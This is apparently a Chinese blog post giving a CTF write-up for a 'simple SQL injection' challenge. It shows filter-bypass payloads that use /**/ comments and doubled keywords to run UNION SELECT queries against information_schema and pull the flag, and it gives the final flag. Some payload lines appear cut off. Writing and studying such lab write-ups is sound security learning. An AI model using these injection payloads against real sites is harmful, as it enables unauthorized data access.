CTF-实验吧简单的sql注入

原创

才不是小弱鸡 于 2018-05-07 15:20:52 发布 1512 收藏
分类专栏： ctf web 文章标签： ctf

好吧，其实这题我也是看了wp才知道的

写wp的老哥个个都是人才，脑洞很大，知识丰富，还会嘤嘤嘤，我超喜欢的。

咳咳咳，跑题了，这题一看就是sql注入嘛（别问我为什么知道，自己看题目名）

先进行过滤测试。

先试试1 and 1=1，发现返回

ID: 1 1=1 显然and被过滤了

然后继续测试，结果发现sql语句基本上都被过滤了QAQ

看wp发现这里其实是过滤后面带有空格的关键字

了解这个就可以开始愉快的注入了

先查一下数据库

```
1'/**/union/**/select/**/database()'
```

发现数据库是web1 name: web1

然后再查表名，这里得注意一张表 information_schema这张表包含了mysql服务器中的所有表

然后利用这张表注入

```
1' union/**/select/**/table_name from/**/information_schema.tables/**/where/**/table_schema/**/='web1
```

喵喵喵？报错了？难道还有过滤？

这里其实把table_schema过滤了，知道这点后再注入

```
' union/**/select/**/table_name from/**/information_scheminformation_schemaa.tables/**/where/**/table_schem
```

SELECT command denied to user 'web1'@'localhost' for table 'tables'

emmmmmm发现没权限。（那凉了呀）

求助wp，发现大家都是猜表和字段为flag（emmmm牛逼）

既然表为flag，那就可以查字段了

```
1' union/**/select/**/column_namcolumn_namee/**/from/**/information_scheminformation_schema.columnsa.column
```

name: flag

返回的字段为flag

知道表和字段就可以注入得flag了

```
1' union/**/select/**/flag from/**/flag where/**/'1'='1
```

```
flag{Y0u_@r3_5O_dAmn_90Od}
```